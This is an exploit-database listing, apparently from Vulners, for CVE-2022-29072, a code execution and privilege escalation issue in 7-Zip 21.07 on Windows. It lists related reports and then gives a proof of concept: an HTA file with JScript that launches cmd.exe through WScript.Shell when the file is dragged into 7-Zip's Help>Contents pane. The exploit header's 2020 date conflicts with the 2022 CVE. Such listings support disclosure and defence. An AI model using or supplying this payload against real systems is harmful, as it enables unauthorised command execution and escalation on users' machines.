7-Zip 21.07 Code Execution / Privilege Escalation

🗓️ 19 Apr 2022 00:00:00Reported by Kagan CaparType

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7-Zip 21.07 Code Execution / Privilege Escalation via Dragging .7z File to Help Content

Reporter	Title	Published	Views	Family All 21
0day.today	7-zip - Code Execution / Local Privilege Escalation Exploit	19 Apr 202200:00	–	zdt
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	18 Apr 202217:08	–	githubexploit
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	15 Apr 202222:59	–	githubexploit
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	18 Apr 202218:59	–	githubexploit
Circl	CVE-2022-29072	16 Apr 202200:20	–	circl
CNNVD	7-Zip 缓冲区错误漏洞	15 Apr 202200:00	–	cnnvd
CVE	CVE-2022-29072	15 Apr 202219:54	–	cve
Cvelist	CVE-2022-29072	15 Apr 202219:54	–	cvelist
Exploit DB	7-zip - Code Execution / Local Privilege Escalation	19 Apr 202200:00	–	exploitdb
Gitee	Exploit for Out-of-bounds Write in 7-Zip	6 Sep 202500:58	–	gitee

`# Exploit Title: 7-zip - Code Execution / Local Privilege Escalation  
# Exploit Author: Kagan Capar  
# Date: 2020-04-12  
# Vendor homepage: https://www.7-zip.org/  
# Software link: https://www.7-zip.org/a/7z2107-x64.msi  
# Version: 21.07 and all versions  
# Tested On: Windows 10 Pro (x64)  
# References: https://github.com/kagancapar/CVE-2022-29072  
  
# About:  
7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area.  
  
# Proof of Concept:  
<html>  
<head>  
<HTA:APPLICATION ID="7zipcodeexec">  
<script language="jscript">  
var c = "cmd.exe";  
new ActiveXObject('WScript.Shell').Run(c);  
</script>  
<head>  
<html>  
  
`

19 Apr 2022 00:00Current

0.6Low risk

Vulners AI Score0.6

EPSS0.18893